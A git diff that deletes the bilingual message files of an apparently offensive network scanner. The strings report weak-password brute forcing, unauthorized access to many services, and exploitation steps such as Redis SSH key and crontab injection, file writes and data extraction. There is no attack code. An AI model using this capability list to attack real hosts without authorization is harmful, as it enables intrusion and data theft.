- },
-
- // ========================= 插件架构消息 =========================
- "plugin_new_arch_trying": {
- LangZH: "尝试使用新插件架构: %s",
- LangEN: "Trying new plugin architecture: %s",
- },
- "plugin_new_arch_success": {
- LangZH: "新插件架构处理成功: %s",
- LangEN: "New plugin architecture successful: %s",
- },
- "plugin_new_arch_fallback": {
- LangZH: "新插件架构失败,回退到传统实现: %s - %v",
- LangEN: "New plugin architecture failed, falling back to legacy: %s - %v",
- },
- "plugin_legacy_using": {
- LangZH: "插件 %s 不支持新架构,使用传统实现",
- LangEN: "Plugin %s not supported in new architecture, using legacy",
- },
-
- // ========================= MySQL插件消息 =========================
- "mysql_scan_start": {
- LangZH: "开始MySQL扫描: %s",
- LangEN: "Starting MySQL scan: %s",
- },
- "mysql_scan_success": {
- LangZH: "MySQL弱密码扫描成功: %s [%s:%s]",
- LangEN: "MySQL weak password scan successful: %s [%s:%s]",
- },
- "mysql_service_identified": {
- LangZH: "MySQL服务识别成功: %s - %s",
- LangEN: "MySQL service identified: %s - %s",
- },
- "mysql_connection_failed": {
- LangZH: "MySQL连接失败: %v",
- LangEN: "MySQL connection failed: %v",
- },
- "mysql_auth_failed": {
- LangZH: "MySQL认证失败: %v",
- LangEN: "MySQL authentication failed: %v",
- },
- "mysql_exploit_info_gather": {
- LangZH: "MySQL信息收集成功",
- LangEN: "MySQL information gathering successful",
- },
- "mysql_exploit_db_enum": {
- LangZH: "MySQL数据库枚举成功",
- LangEN: "MySQL database enumeration successful",
- },
- "mysql_exploit_file_write": {
- LangZH: "MySQL文件写入成功: %s",
- LangEN: "MySQL file write successful: %s",
- },
- "mysql_exploit_file_read": {
- LangZH: "MySQL文件读取成功: %s",
- LangEN: "MySQL file read successful: %s",
- },
-
- // ========================= Redis插件消息 =========================
- "redis_scan_start": {
- LangZH: "开始Redis扫描: %s",
- LangEN: "Starting Redis scan: %s",
- },
- "redis_unauth_success": {
- LangZH: "Redis未授权访问: %s",
- LangEN: "Redis unauthorized access: %s",
- },
- "redis_weak_pwd_success": {
- LangZH: "Redis弱密码扫描成功: %s [%s]",
- LangEN: "Redis weak password scan successful: %s [%s]",
- },
- "redis_service_identified": {
- LangZH: "Redis服务识别成功: %s - %s",
- LangEN: "Redis service identified: %s - %s",
- },
- "redis_connection_failed": {
- LangZH: "Redis连接失败: %v",
- LangEN: "Redis connection failed: %v",
- },
- "redis_auth_failed": {
- LangZH: "Redis认证失败: %v",
- LangEN: "Redis authentication failed: %v",
- },
- "redis_exploit_file_write": {
- LangZH: "Redis任意文件写入成功: %s",
- LangEN: "Redis arbitrary file write successful: %s",
- },
- "redis_exploit_ssh_key": {
- LangZH: "Redis SSH密钥注入成功",
- LangEN: "Redis SSH key injection successful",
- },
- "redis_exploit_crontab": {
- LangZH: "Redis定时任务注入成功",
- LangEN: "Redis crontab injection successful",
- },
- "redis_exploit_data_extract": {
- LangZH: "Redis数据提取成功",
- LangEN: "Redis data extraction successful",
- },
-
- // ========================= SSH插件消息 =========================
- "ssh_scan_start": {
- LangZH: "开始SSH扫描: %s",
- LangEN: "Starting SSH scan: %s",
- },
- "ssh_key_auth_success": {
- LangZH: "SSH密钥认证成功: %s [%s]",
- LangEN: "SSH key authentication successful: %s [%s]",
- },
- "ssh_pwd_auth_success": {
- LangZH: "SSH密码认证成功: %s [%s:%s]",
- LangEN: "SSH password authentication successful: %s [%s:%s]",
- },
- "ssh_service_identified": {
- LangZH: "SSH服务识别成功: %s - %s",
- LangEN: "SSH service identified: %s - %s",
- },
- "ssh_connection_failed": {
- LangZH: "SSH连接失败: %v",
- LangEN: "SSH connection failed: %v",
- },
- "ssh_auth_failed": {
- LangZH: "SSH认证失败: %v",
- LangEN: "SSH authentication failed: %v",
- },
- "ssh_key_read_failed": {
- LangZH: "读取SSH私钥失败: %v",
- LangEN: "Failed to read SSH private key: %v",
- },
-
- // ========================= 通用错误消息 =========================
- "plugin_brute_disabled": {
- LangZH: "暴力破解已禁用",
- LangEN: "Brute force disabled",
- },
- "plugin_no_credentials": {
- LangZH: "没有可用的凭据",
- LangEN: "No credentials available",
- },
- "plugin_all_creds_failed": {
- LangZH: "所有凭据扫描失败",
- LangEN: "All credential scans failed",
- },
- "plugin_invalid_port": {
- LangZH: "无效的端口号: %s",
- LangEN: "Invalid port number: %s",
- },
- "plugin_timeout": {
- LangZH: "插件扫描超时",
- LangEN: "Plugin scan timeout",
- },
- "plugin_vuln_found": {
- LangZH: "%s发现漏洞: %s - %s",
- LangEN: "%s vulnerability found: %s - %s",
- },
-
- // ========================= 利用方法名称i18n =========================
- "exploit_method_name_information_gathering": {
- LangZH: "信息收集",
- LangEN: "information_gathering",
- },
- "exploit_method_name_database_enumeration": {
- LangZH: "数据库枚举",
- LangEN: "database_enumeration",
- },
- "exploit_method_name_privilege_check": {
- LangZH: "权限检查",
- LangEN: "privilege_check",
- },
- "exploit_method_name_file_read": {
- LangZH: "文件读取",
- LangEN: "file_read",
- },
- "exploit_method_name_file_write": {
- LangZH: "文件写入",
- LangEN: "file_write",
- },
- "exploit_method_name_arbitrary_file_write": {
- LangZH: "任意文件写入",
- LangEN: "arbitrary_file_write",
- },
- "exploit_method_name_ssh_key_write": {
- LangZH: "SSH密钥写入",
- LangEN: "ssh_key_write",
- },
- "exploit_method_name_crontab_injection": {
- LangZH: "定时任务注入",
- LangEN: "crontab_injection",
- },
- "exploit_method_name_data_extraction": {
- LangZH: "数据提取",
- LangEN: "data_extraction",
- },
- "exploit_method_name_system_info": {
- LangZH: "系统信息收集",
- LangEN: "system_info",
- },
- "exploit_method_name_command_test": {
- LangZH: "命令执行测试",
- LangEN: "command_test",
- },
-
- // ========================= SSH利用方法消息 =========================
- "ssh_command_result": {
- LangZH: "%s: %s",
- LangEN: "%s: %s",
- },
- "ssh_test_command": {
- LangZH: "执行命令 '%s': %s",
- LangEN: "Executed command '%s': %s",
- },
- "ssh_sudo_check": {
- LangZH: "Sudo权限: %s",
- LangEN: "Sudo privileges: %s",
- },
- "ssh_root_access": {
- LangZH: "检测到root权限访问",
- LangEN: "Root access detected",
- },
- "ssh_user_groups": {
- LangZH: "用户组: %s",
- LangEN: "User groups: %s",
- },
-
- // ========================= 利用结果消息 =========================
- "exploit_result_saved": {
- LangZH: "利用结果已保存: %s",
- LangEN: "Exploitation result saved: %s",
- },
-
- // ========================= ActiveMQ插件消息 =========================
- "activemq_scan_start": {
- LangZH: "开始ActiveMQ扫描: %s",
- LangEN: "Starting ActiveMQ scan: %s",
- },
- "activemq_stomp_scan_success": {
- LangZH: "ActiveMQ弱密码扫描成功(STOMP): %s [%s:%s]",
- LangEN: "ActiveMQ weak password scan successful(STOMP): %s [%s:%s]",
- },
- "activemq_service_identified": {
- LangZH: "ActiveMQ服务识别成功: %s (%s) - %s",
- LangEN: "ActiveMQ service identified: %s (%s) - %s",
- },
- "activemq_stomp_auth_success": {
- LangZH: "ActiveMQ STOMP认证成功: %s@%s:%d",
- LangEN: "ActiveMQ STOMP authentication successful: %s@%s:%d",
- },
- "activemq_connection_failed": {
- LangZH: "ActiveMQ连接失败: %v",
- LangEN: "ActiveMQ connection failed: %v",
- },
- "activemq_auth_failed": {
- LangZH: "ActiveMQ认证失败: %v",
- LangEN: "ActiveMQ authentication failed: %v",
- },
- "activemq_stomp_auth_failed": {
- LangZH: "ActiveMQ STOMP认证失败: %v",
- LangEN: "ActiveMQ STOMP authentication failed: %v",
- },
-
- // ActiveMQ利用方法消息
- "activemq_exploit_info_gather": {
- LangZH: "ActiveMQ信息收集成功",
- LangEN: "ActiveMQ information gathering successful",
- },
- "activemq_exploit_message_enum": {
- LangZH: "ActiveMQ消息枚举成功",
- LangEN: "ActiveMQ message enumeration successful",
- },
- "activemq_exploit_queue_mgmt": {
- LangZH: "ActiveMQ队列管理成功",
- LangEN: "ActiveMQ queue management successful",
- },
- "activemq_exploit_config_dump": {
- LangZH: "ActiveMQ配置转储成功",
- LangEN: "ActiveMQ configuration dump successful",
- },
- "activemq_queues_found": {
- LangZH: "发现ActiveMQ队列: %s",
- LangEN: "ActiveMQ queues found: %s",
- },
- "activemq_topics_found": {
- LangZH: "发现ActiveMQ主题: %s",
- LangEN: "ActiveMQ topics found: %s",
- },
- "activemq_queue_created": {
- LangZH: "成功创建测试队列: %s",
- LangEN: "Test queue created successfully: %s",
- },
- "activemq_message_sent": {
- LangZH: "消息发送成功到队列: %s",
- LangEN: "Message sent successfully to queue: %s",
- },
- "activemq_version_info": {
- LangZH: "ActiveMQ版本: %s",
- LangEN: "ActiveMQ version: %s",
- },
- "activemq_broker_info": {
- LangZH: "ActiveMQ Broker信息: %s",
- LangEN: "ActiveMQ Broker info: %s",
- },
- "activemq_protocol_detected": {
- LangZH: "检测到ActiveMQ协议: %s",
- LangEN: "ActiveMQ protocol detected: %s",
- },
-
- // ActiveMQ利用方法名称
- "exploit_method_name_activemq_info_gather": {
- LangZH: "信息收集",
- LangEN: "Information Gathering",
- },
- "exploit_method_name_activemq_message_enum": {
- LangZH: "消息枚举",
- LangEN: "Message Enumeration",
- },
- "exploit_method_name_activemq_queue_mgmt": {
- LangZH: "队列管理",
- LangEN: "Queue Management",
- },
- "exploit_method_name_activemq_config_dump": {
- LangZH: "配置转储",
- LangEN: "Configuration Dump",
- },
-
- // ========================= FTP插件消息 =========================
- "ftp_scan_start": {
- LangZH: "开始FTP扫描: %s",
- LangEN: "Starting FTP scan: %s",
- },
- "ftp_anonymous_success": {
- LangZH: "FTP匿名访问: %s",
- LangEN: "FTP anonymous access: %s",
- },
- "ftp_weak_pwd_success": {
- LangZH: "FTP弱密码: %s [%s:%s]",
- LangEN: "FTP weak password: %s [%s:%s]",
- },
- "ftp_service_identified": {
- LangZH: "FTP服务识别成功: %s - %s",
- LangEN: "FTP service identified: %s - %s",
- },
- "ftp_connection_failed": {
- LangZH: "FTP连接失败: %v",
- LangEN: "FTP connection failed: %v",
- },
- "ftp_auth_failed": {
- LangZH: "FTP认证失败: %v",
- LangEN: "FTP authentication failed: %v",
- },
-
- // FTP利用方法消息
- "ftp_exploit_dir_enum": {
- LangZH: "FTP目录枚举成功",
- LangEN: "FTP directory enumeration successful",
- },
- "ftp_exploit_file_download": {
- LangZH: "FTP文件下载测试成功",
- LangEN: "FTP file download test successful",
- },
- "ftp_exploit_file_upload": {
- LangZH: "FTP文件上传测试成功",
- LangEN: "FTP file upload test successful",
- },
-
- // ========================= IMAP插件消息 =========================
- "imap_weak_pwd_success": {
- LangZH: "IMAP弱密码: %s [%s:%s]",
- LangEN: "IMAP weak password: %s [%s:%s]",
- },
- "imap_service_identified": {
- LangZH: "IMAP服务识别成功: %s - %s",
- LangEN: "IMAP service identified: %s - %s",
- },
- "imap_connection_failed": {
- LangZH: "IMAP连接失败: %v",
- LangEN: "IMAP connection failed: %v",
- },
- "imap_auth_failed": {
- LangZH: "IMAP认证失败: %v",
- LangEN: "IMAP authentication failed: %v",
- },
-
- // ========================= Kafka插件消息 =========================
- "kafka_weak_pwd_success": {
- LangZH: "Kafka弱密码: %s [%s:%s]",
- LangEN: "Kafka weak password: %s [%s:%s]",
- },
- "kafka_unauth_access": {
- LangZH: "Kafka服务 %s 无需认证即可访问",
- LangEN: "Kafka service %s allows unauthorized access",
- },
- "kafka_service_identified": {
- LangZH: "Kafka服务识别成功: %s - %s",
- LangEN: "Kafka service identified: %s - %s",
- },
- "kafka_connection_failed": {
- LangZH: "Kafka连接失败: %v",
- LangEN: "Kafka connection failed: %v",
- },
- "kafka_auth_failed": {
- LangZH: "Kafka认证失败: %v",
- LangEN: "Kafka authentication failed: %v",
- },
- "ftp_directory_found": {
- LangZH: "发现FTP目录: %s",
- LangEN: "FTP directories found: %s",
- },
- "ftp_file_found": {
- LangZH: "发现FTP文件: %s",
- LangEN: "FTP files found: %s",
- },
- "ftp_upload_success": {
- LangZH: "FTP文件上传成功: %s",
- LangEN: "FTP file upload successful: %s",
- },
- "ftp_download_success": {
- LangZH: "FTP文件下载成功: %s",
- LangEN: "FTP file download successful: %s",
- },
-
- // FTP利用方法名称
- "exploit_method_name_directory_enumeration": {
- LangZH: "目录枚举",
- LangEN: "Directory Enumeration",
- },
- "exploit_method_name_file_download_test": {
- LangZH: "文件下载测试",
- LangEN: "File Download Test",
- },
- "exploit_method_name_file_upload_test": {
- LangZH: "文件上传测试",
- LangEN: "File Upload Test",
- },
-
- // ========================= LDAP插件消息 =========================
- "ldap_weak_pwd_success": {
- LangZH: "LDAP弱密码: %s [%s:%s]",
- LangEN: "LDAP weak password: %s [%s:%s]",
- },
- "ldap_anonymous_access": {
- LangZH: "LDAP服务 %s 匿名访问成功",
- LangEN: "LDAP service %s anonymous access successful",
- },
- "ldap_service_identified": {
- LangZH: "LDAP服务识别成功: %s - %s",
- LangEN: "LDAP service identified: %s - %s",
- },
- "ldap_connection_failed": {
- LangZH: "LDAP连接失败: %v",
- LangEN: "LDAP connection failed: %v",
- },
- "ldap_auth_failed": {
- LangZH: "LDAP认证失败: %v",
- LangEN: "LDAP authentication failed: %v",
- },
-
- // ========================= Memcached插件消息 =========================
- "memcached_unauth_access": {
- LangZH: "Memcached服务 %s 未授权访问成功",
- LangEN: "Memcached service %s unauthorized access successful",
- },
- "memcached_service_identified": {
- LangZH: "Memcached服务识别成功: %s - %s",
- LangEN: "Memcached service identified: %s - %s",
- },
- "memcached_connection_failed": {
- LangZH: "Memcached连接失败: %v",
- LangEN: "Memcached connection failed: %v",
- },
-
- // ========================= Modbus插件消息 =========================
- "modbus_unauth_access": {
- LangZH: "Modbus服务 %s 无认证访问成功",
- LangEN: "Modbus service %s unauthorized access successful",
- },
- "modbus_device_info": {
- LangZH: "设备信息: %s",
- LangEN: "Device info: %s",
- },
- "modbus_service_identified": {
- LangZH: "Modbus服务识别成功: %s - %s",
- LangEN: "Modbus service identified: %s - %s",
- },
- "modbus_connection_failed": {
- LangZH: "Modbus连接失败: %v",
- LangEN: "Modbus connection failed: %v",
- },
-
- // ========================= MongoDB插件消息 =========================
- "mongodb_unauth_access": {
- LangZH: "MongoDB服务 %s 未授权访问成功",
- LangEN: "MongoDB service %s unauthorized access successful",
- },
- "mongodb_service_identified": {
- LangZH: "MongoDB服务识别成功: %s - %s",
- LangEN: "MongoDB service identified: %s - %s",
- },
- "mongodb_connection_failed": {
- LangZH: "MongoDB连接失败: %v",
- LangEN: "MongoDB connection failed: %v",
- },
- "mongodb_auth_failed": {
- LangZH: "MongoDB认证失败: %v",
- LangEN: "MongoDB authentication failed: %v",
- },
-
- // ========================= MSSQL插件消息 =========================
- "mssql_auth_success": {
- LangZH: "MSSQL服务 %s 认证成功 %s:%s",
- LangEN: "MSSQL service %s authentication successful %s:%s",
- },
- "mssql_service_identified": {
- LangZH: "MSSQL服务识别成功: %s - %s",
- LangEN: "MSSQL service identified: %s - %s",
- },
- "mssql_connection_failed": {
- LangZH: "MSSQL连接失败: %v",
- LangEN: "MSSQL connection failed: %v",
- },
- "mssql_auth_failed": {
- LangZH: "MSSQL认证失败 %s: %v",
- LangEN: "MSSQL authentication failed %s: %v",
- },
-
- // ========================= Neo4j插件消息 =========================
- "neo4j_unauth_access": {
- LangZH: "Neo4j服务 %s 未授权访问成功",
- LangEN: "Neo4j service %s unauthorized access successful",
- },
- "neo4j_default_creds": {
- LangZH: "Neo4j服务 %s 默认凭证可用 %s:%s",
- LangEN: "Neo4j service %s default credentials available %s:%s",
- },
- "neo4j_auth_success": {
- LangZH: "Neo4j服务 %s 认证成功 %s:%s",
- LangEN: "Neo4j service %s authentication successful %s:%s",
- },
- "neo4j_service_identified": {
- LangZH: "Neo4j服务识别成功: %s - %s",
- LangEN: "Neo4j service identified: %s - %s",
- },
- "neo4j_connection_failed": {
- LangZH: "Neo4j连接失败: %v",
- LangEN: "Neo4j connection failed: %v",
- },
- "neo4j_auth_failed": {
- LangZH: "Neo4j认证失败 %s: %v",
- LangEN: "Neo4j authentication failed %s: %v",
- },
-
- // ========================= PostgreSQL插件消息 =========================
- "postgresql_auth_success": {
- LangZH: "PostgreSQL服务 %s 认证成功 %s:%s",
- LangEN: "PostgreSQL service %s authentication successful %s:%s",
- },
- "postgresql_service_identified": {
- LangZH: "PostgreSQL服务识别成功: %s - %s",
- LangEN: "PostgreSQL service identified: %s - %s",
- },
- "postgresql_connection_failed": {
- LangZH: "PostgreSQL连接失败: %v",
- LangEN: "PostgreSQL connection failed: %v",
- },
- "postgresql_auth_failed": {
- LangZH: "PostgreSQL认证失败 %s: %v",
- LangEN: "PostgreSQL authentication failed %s: %v",
- },
-
- // ========================= Oracle插件消息 =========================
- "oracle_auth_success": {
- LangZH: "Oracle服务 %s 认证成功 %s:%s",
- LangEN: "Oracle service %s authentication successful %s:%s",
- },
- "oracle_sys_auth_success": {
- LangZH: "Oracle服务 %s 高危用户认证成功 %s:%s (可能需要SYSDBA权限)",
- LangEN: "Oracle service %s high-risk user authentication successful %s:%s (may require SYSDBA privilege)",
- },
- "oracle_service_identified": {
- LangZH: "Oracle服务识别成功: %s - %s",
- LangEN: "Oracle service identified: %s - %s",
- },
- "oracle_connection_failed": {
- LangZH: "Oracle连接失败: %v",
- LangEN: "Oracle connection failed: %v",
- },
- "oracle_auth_failed": {
- LangZH: "Oracle认证失败 %s: %v",
- LangEN: "Oracle authentication failed %s: %v",
- },
-
- // ========================= POP3插件消息 =========================
- "pop3_weak_pwd_success": {
- LangZH: "POP3弱密码: %s [%s:%s]",
- LangEN: "POP3 weak password: %s [%s:%s]",
- },
- "pop3_service_identified": {
- LangZH: "POP3服务识别成功: %s - %s",
- LangEN: "POP3 service identified: %s - %s",
- },
- "pop3_connection_failed": {
- LangZH: "POP3连接失败: %v",
- LangEN: "POP3 connection failed: %v",
- },
- "pop3_auth_failed": {
- LangZH: "POP3认证失败: %v",
- LangEN: "POP3 authentication failed: %v",
- },
-
- // ========================= RabbitMQ插件消息 =========================
- "rabbitmq_weak_pwd_success": {
- LangZH: "RabbitMQ弱密码: %s [%s:%s]",
- LangEN: "RabbitMQ weak password: %s [%s:%s]",
- },
- "rabbitmq_service_identified": {
- LangZH: "RabbitMQ服务识别成功: %s - %s",
- LangEN: "RabbitMQ service identified: %s - %s",
- },
- "rabbitmq_connection_failed": {
- LangZH: "RabbitMQ连接失败: %v",
- LangEN: "RabbitMQ connection failed: %v",
- },
- "rabbitmq_auth_failed": {
- LangZH: "RabbitMQ认证失败: %v",
- LangEN: "RabbitMQ authentication failed: %v",
- },
-
- // ========================= Rsync插件消息 =========================
- "rsync_anonymous_success": {
- LangZH: "Rsync匿名访问: %s",
- LangEN: "Rsync anonymous access: %s",
- },
- "rsync_weak_pwd_success": {
- LangZH: "Rsync弱密码: %s [%s:%s]",
- LangEN: "Rsync weak password: %s [%s:%s]",
- },
- "rsync_service_identified": {
- LangZH: "Rsync服务识别成功: %s - %s",
- LangEN: "Rsync service identified: %s - %s",
- },
- "rsync_connection_failed": {
- LangZH: "Rsync连接失败: %v",
- LangEN: "Rsync connection failed: %v",
- },
- "rsync_auth_failed": {
- LangZH: "Rsync认证失败: %v",
- LangEN: "Rsync authentication failed: %v",
- },
-
- // ========================= SMTP插件消息 =========================
- "smtp_anonymous_success": {
- LangZH: "SMTP匿名访问: %s",
- LangEN: "SMTP anonymous access: %s",
- },
- "smtp_weak_pwd_success": {
- LangZH: "SMTP弱密码: %s [%s:%s]",
- LangEN: "SMTP weak password: %s [%s:%s]",
- },
- "smtp_service_identified": {
- LangZH: "SMTP服务识别成功: %s - %s",
- LangEN: "SMTP service identified: %s - %s",
- },
- "smtp_connection_failed": {
- LangZH: "SMTP连接失败: %v",
- LangEN: "SMTP connection failed: %v",
- },
- "smtp_auth_failed": {
- LangZH: "SMTP认证失败: %v",
- LangEN: "SMTP authentication failed: %v",
- },
-
- // ========================= SNMP插件消息 =========================
- "snmp_weak_community_success": {
- LangZH: "SNMP弱community: %s [%s]",
- LangEN: "SNMP weak community: %s [%s]",
- },
- "snmp_service_identified": {
- LangZH: "SNMP服务识别成功: %s - %s",
- LangEN: "SNMP service identified: %s - %s",
- },
- "snmp_connection_failed": {
- LangZH: "SNMP连接失败: %v",
- LangEN: "SNMP connection failed: %v",
- },
- "snmp_auth_failed": {
- LangZH: "SNMP认证失败: %v",
- LangEN: "SNMP authentication failed: %v",
- },
-
- // ========================= Telnet插件消息 =========================
- "telnet_weak_password_success": {
- LangZH: "Telnet弱密码: %s 用户名:%s 密码:%s",
- LangEN: "Telnet weak password: %s username:%s password:%s",
- },
- "telnet_unauthorized_access": {
- LangZH: "Telnet无需认证: %s",
- LangEN: "Telnet unauthorized access: %s",
- },
- "telnet_connection_failed": {
- LangZH: "Telnet连接失败: %v",
- LangEN: "Telnet connection failed: %v",
- },
- "telnet_auth_failed": {
- LangZH: "Telnet认证失败: %v",
- LangEN: "Telnet authentication failed: %v",
- },
-}
\ No newline at end of file
diff --git a/Common/i18n/messages/scan.go b/Common/i18n/messages/scan.go
deleted file mode 100644
index 86601ba..0000000
--- a/Common/i18n/messages/scan.go
+++ /dev/null
@@ -1,287 +0,0 @@
-package messages
-
-/*
-scan.go - 扫描相关消息
-
-包含扫描流程、模式选择、插件管理等相关的
-国际化消息定义。
-*/
-
-// ScanMessages 扫描相关消息
-var ScanMessages = map[string]map[string]string{
- // ========================= 扫描流程消息 =========================
- "scan_mode_service_selected": {
- LangZH: "已选择服务扫描模式",
- LangEN: "Service scan mode selected",
- },
- "scan_mode_alive_selected": {
- LangZH: "已选择存活探测模式",
- LangEN: "Alive detection mode selected",
- },
- "scan_mode_local_selected": {
- LangZH: "已选择本地扫描模式",
- LangEN: "Local scan mode selected",
- },
- "scan_mode_web_selected": {
- LangZH: "已选择Web扫描模式",
- LangEN: "Web scan mode selected",
- },
- "scan_info_start": {
- LangZH: "开始信息扫描",
- LangEN: "Starting information scan",
- },
- "scan_host_start": {
- LangZH: "开始主机扫描",
- LangEN: "Starting host scan",
- },
- "scan_vulnerability_start": {
- LangZH: "开始漏洞扫描",
- LangEN: "Starting vulnerability scan",
- },
- "scan_service_plugins": {
- LangZH: "使用服务扫描插件: %s",
- LangEN: "Using service scan plugins: %s",
- },
- "scan_no_service_plugins": {
- LangZH: "未找到可用的服务插件",
- LangEN: "No available service plugins found",
- },
- "scan_vulnerability_plugins": {
- LangZH: "使用漏洞扫描插件: %s",
- LangEN: "Using vulnerability scan plugins: %s",
- },
- "scan_no_vulnerability_plugins": {
- LangZH: "未找到可用的漏洞扫描插件",
- LangEN: "No available vulnerability scan plugins found",
- },
- "scan_complete_ports_found": {
- LangZH: "扫描完成, 发现 %d 个开放端口",
- LangEN: "Scan completed, found %d open ports",
- },
- "scan_alive_ports_count": {
- LangZH: "存活端口数量: %d",
- LangEN: "Alive ports count: %d",
- },
- "scan_snmp_udp_ports_added": {
- LangZH: "检测到SNMP端口161,添加UDP端口到扫描目标",
- LangEN: "Detected SNMP port 161, adding UDP ports to scan targets",
- },
- "scan_task_complete": {
- LangZH: "扫描已完成: %d/%d",
- LangEN: "Scan completed: %d/%d",
- },
-
- // ========================= 扫描错误消息 =========================
- "scan_plugin_panic": {
- LangZH: "[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
- LangEN: "[PANIC] Plugin %s crashed while scanning %s:%s: %v",
- },
- "scan_plugin_not_found": {
- LangZH: "扫描类型 %v 无对应插件,已跳过",
- LangEN: "No plugin found for scan type %v, skipped",
- },
- "scan_plugin_error": {
- LangZH: "扫描错误 %v:%v - %v",
- LangEN: "Scan error %v:%v - %v",
- },
-
- // ========================= 扫描器插件消息 =========================
- "scan_local_start": {
- LangZH: "开始本地信息收集",
- LangEN: "Starting local information collection",
- },
- "scan_service_start": {
- LangZH: "开始服务扫描",
- LangEN: "Starting service scan",
- },
- "scan_web_start": {
- LangZH: "开始Web扫描",
- LangEN: "Starting web scan",
- },
- "scan_general_start": {
- LangZH: "开始扫描",
- LangEN: "Starting scan",
- },
- "scan_mode_local_prefix": {
- LangZH: "本地模式",
- LangEN: "Local mode",
- },
- "scan_mode_service_prefix": {
- LangZH: "服务模式",
- LangEN: "Service mode",
- },
- "scan_mode_web_prefix": {
- LangZH: "Web模式",
- LangEN: "Web mode",
- },
- "scan_plugins_local": {
- LangZH: "使用本地插件: %s",
- LangEN: "Using local plugins: %s",
- },
- "scan_plugins_service": {
- LangZH: "使用服务插件: %s",
- LangEN: "Using service plugins: %s",
- },
- "scan_plugins_web": {
- LangZH: "使用Web插件: %s",
- LangEN: "Using web plugins: %s",
- },
- "scan_plugins_custom_specified": {
- LangZH: "使用指定插件: %s",
- LangEN: "Using specified plugins: %s",
- },
- "scan_no_local_plugins": {
- LangZH: "未找到可用的本地插件",
- LangEN: "No available local plugins found",
- },
- "scan_no_web_plugins": {
- LangZH: "未找到可用的Web插件",
- LangEN: "No available web plugins found",
- },
- "scan_strategy_local_name": {
- LangZH: "本地扫描",
- LangEN: "Local Scan",
- },
- "scan_strategy_local_desc": {
- LangZH: "收集本地系统信息",
- LangEN: "Collect local system information",
- },
- "scan_strategy_service_name": {
- LangZH: "服务扫描",
- LangEN: "Service Scan",
- },
- "scan_strategy_service_desc": {
- LangZH: "扫描主机服务和漏洞",
- LangEN: "Scan host services and vulnerabilities",
- },
- "scan_strategy_web_name": {
- LangZH: "Web扫描",
- LangEN: "Web Scan",
- },
- "scan_strategy_web_desc": {
- LangZH: "扫描Web应用漏洞和信息",
- LangEN: "Scan web application vulnerabilities and information",
- },
- "scan_alive_hosts_count": {
- LangZH: "存活主机数量: %d",
- LangEN: "Alive hosts count: %d",
- },
- "scan_strategy_alive_name": {
- LangZH: "存活探测",
- LangEN: "Alive Detection",
- },
- "scan_strategy_alive_desc": {
- LangZH: "快速探测主机存活状态",
- LangEN: "Fast detection of host alive status",
- },
- "scan_alive_start": {
- LangZH: "开始存活探测",
- LangEN: "Starting alive detection",
- },
- "scan_alive_single_target": {
- LangZH: "目标主机: %s",
- LangEN: "Target host: %s",
- },
- "scan_alive_multiple_targets": {
- LangZH: "目标主机数量: %d (示例: %s)",
- LangEN: "Target hosts count: %d (example: %s)",
- },
- "scan_alive_summary_title": {
- LangZH: "存活探测结果摘要",
- LangEN: "Alive Detection Summary",
- },
- "scan_alive_total_hosts": {
- LangZH: "总主机数: %d",
- LangEN: "Total hosts: %d",
- },
- "scan_alive_hosts_found": {
- LangZH: "存活主机: %d",
- LangEN: "Alive hosts: %d",
- },
- "scan_alive_dead_hosts": {
- LangZH: "死亡主机: %d",
- LangEN: "Dead hosts: %d",
- },
- "scan_alive_success_rate": {
- LangZH: "存活率: %.2f%%",
- LangEN: "Success rate: %.2f%%",
- },
- "scan_alive_duration": {
- LangZH: "扫描耗时: %v",
- LangEN: "Scan duration: %v",
- },
- "scan_alive_hosts_list": {
- LangZH: "存活主机列表:",
- LangEN: "Alive hosts list:",
- },
- "target_alive": {
- LangZH: "存活主机: %s (%s)",
- LangEN: "Alive host: %s (%s)",
- },
-
- // ========================= 进度条消息 =========================
- "progress_scanning_description": {
- LangZH: "扫描进度",
- LangEN: "Scanning Progress",
- },
- "progress_port_scanning": {
- LangZH: "端口扫描",
- LangEN: "Port Scanning",
- },
- "progress_port_scanning_with_threads": {
- LangZH: "端口扫描 (线程:%d)",
- LangEN: "Port Scanning (Threads:%d)",
- },
- "progress_scan_completed": {
- LangZH: "扫描完成:",
- LangEN: "Scan Completed:",
- },
- "progress_port_scan_completed": {
- LangZH: "端口扫描完成:",
- LangEN: "Port Scan Completed:",
- },
- "progress_open_ports": {
- LangZH: "开放端口",
- LangEN: "Open Ports",
- },
-
- // ========================= 并发状态消息 =========================
- "concurrency_plugin": {
- LangZH: "插件",
- LangEN: "Plugins",
- },
- "concurrency_connection": {
- LangZH: "连接",
- LangEN: "Conns",
- },
- "concurrency_plugin_tasks": {
- LangZH: "活跃插件任务",
- LangEN: "Active Plugin Tasks",
- },
- "concurrency_connection_details": {
- LangZH: "连接详情",
- LangEN: "Connection Details",
- },
- "concurrency_no_active_tasks": {
- LangZH: "无活跃任务",
- LangEN: "No Active Tasks",
- },
-
- // ========================= 扫描配置消息 =========================
- "scan_config_thread_num": {
- LangZH: "端口扫描线程数: %d",
- LangEN: "Port scan threads: %d",
- },
- "scan_config_timeout": {
- LangZH: "连接超时: %ds",
- LangEN: "Connection timeout: %ds",
- },
- "scan_config_module_thread_num": {
- LangZH: "插件内线程数: %d",
- LangEN: "Plugin threads: %d",
- },
- "scan_config_global_timeout": {
- LangZH: "单个插件全局超时: %ds",
- LangEN: "Plugin global timeout: %ds",
- },
-}
\ No newline at end of file
diff --git a/Common/logging/Formatter.go b/Common/logging/Formatter.go
deleted file mode 100644
index 73a141b..0000000
--- a/Common/logging/Formatter.go
+++ /dev/null
@@ -1,75 +0,0 @@
-package logging
-
-import (
- "fmt"
- "time"
-)
-
-// StandardFormatter 标准日志格式化器
-type StandardFormatter struct {
- startTime time.Time
-}
-
-// NewStandardFormatter 创建标准格式化器
-func NewStandardFormatter() *StandardFormatter {
- return &StandardFormatter{
- startTime: time.Now(),
- }
-}
-
-// SetStartTime 设置开始时间
-func (f *StandardFormatter) SetStartTime(startTime time.Time) {
- f.startTime = startTime
-}
-
-// Format 格式化日志条目
-func (f *StandardFormatter) Format(entry *LogEntry) string {
- elapsed := time.Since(f.startTime)
- timeStr := f.formatElapsedTime(elapsed)
- prefix := f.getLevelPrefix(entry.Level)
-
- return fmt.Sprintf("[%s] %s %s", timeStr, prefix, entry.Content)
-}
-
-// formatElapsedTime 格式化经过的时间
-func (f *StandardFormatter) formatElapsedTime(elapsed time.Duration) string {
- switch {
- case elapsed < MaxMillisecondDisplay:
- // 毫秒显示,不需要小数
- return fmt.Sprintf("%dms", elapsed.Milliseconds())
- case elapsed < MaxSecondDisplay:
